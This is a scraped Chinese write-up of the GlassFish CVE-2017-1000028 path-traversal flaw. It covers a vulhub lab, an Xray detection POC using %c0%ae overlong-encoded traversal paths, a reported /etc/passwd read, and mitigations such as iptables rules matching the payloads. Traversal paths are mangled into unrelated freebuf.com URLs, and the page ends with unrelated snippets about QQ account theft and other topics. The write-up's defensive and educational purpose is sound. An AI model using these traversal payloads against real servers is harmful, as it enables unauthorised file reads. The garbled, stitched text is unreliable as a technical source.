glassfish 是一款 java 编写的跨平台的开源的应用服务器。
java语言中会把 解析为 ,最后转义为ASCCII字符的(点)。利用 来向上跳转,达到目录穿越、任意文件读取的效果。所以 glassfish 这个 poc 实际上就是//https://www.freebuf.com/articles/etc/passwd。
影响版本:
< 4.1.1(不含 4.1.1)
如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub?
编译、运行测试环境,本环境超级管理员密码在 中设置,默认为 ,在4848端口利用该密码可以登录管理员账户。
docker-compose up -d
环境运行后,访问 和 即可查看 web 页面。其中,8080 端口是网站内容,4848 端口是 GlassFish 管理中心。
无需登录,直接访问 ,发现已成功读取 内容:
如下是 Xray 的 POC,其只穿越了上级目录,检测了版本信息,不涉及敏感信息,但同样也验证了漏洞存在。
name: poc-yaml-glassfish-cve-2017-1000028-lfi rules: - method: GET path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF follow_redirects: true expression: | response.status==200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:") detail: version: <4.1.0 author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0
1. 关闭远程管理关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务
https://www.freebuf.com/articles/web/asadmin change-admin-password https://www.freebuf.com/articles/web/asadmin disable-secure-admin https://www.freebuf.com/articles/web/asadmin stop-domain https://www.freebuf.com/articles/web/asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain
需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在
2. IPtables 规则
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string 'https://www.freebuf.com/articles/' -j DROP //该规则无法防御HTTPS SSL方案
3. 禁用 web.xml theme 映射\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml
<!-- <servlet-mapping> <servlet-name>ThemeServlet</servlet-name> <url-pattern>/theme/*</url-pattern> </servlet-mapping> -->
重启 glassfish 后生效
https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
怎么样找黑客盗取别人qq相关问题 被黑客入侵了怎么办相关问题 手机黑客如何查到人的IP 黑客怎么入侵电脑教学(电脑被黑客入侵视频)...
}一、使用webview缝隙长途植入木马CVE-2019-0199运用OLE目标嵌入Word / RTF文档的方法,使得能够在没有用户交互的情况下履行其内容。 图7 经过电焊和飞线将BK5811的SP...
每日好文 以前我们用QQ号的时候,经常会看见好友列表的人突然发一些奇奇怪怪的广告,或者是什么赌博信息,理财信息。这时候我们就认定他的QQ号被盗了。一般人盗号都是在第一时间登录上去和好友借钱,好友一...
本文目录一览: 1、现在的黑客如果知道了我的的手机号码是否可以黑到我手机里的资料。例如短信。照片之类的? 2、电话号码被黑客盗了会有什么风险? 3、黑客会通过手机号窃取手机信息吗? 4、现...
外景人像PS后期修图技巧教程 注:更多请关注photoshop教程栏目,电脑高手网PS教程群:181754111欢迎你的加入...
微信民众平台最红的情况下是在十二年到13年的情况下,那个时候是微信民众平台刚出去,实际上并沒有许多 人到谋划,微信民众平台要是申请解决出来,维持逐日的升级,连续的发內容,微信民众号的总流量跟粉絲全是一...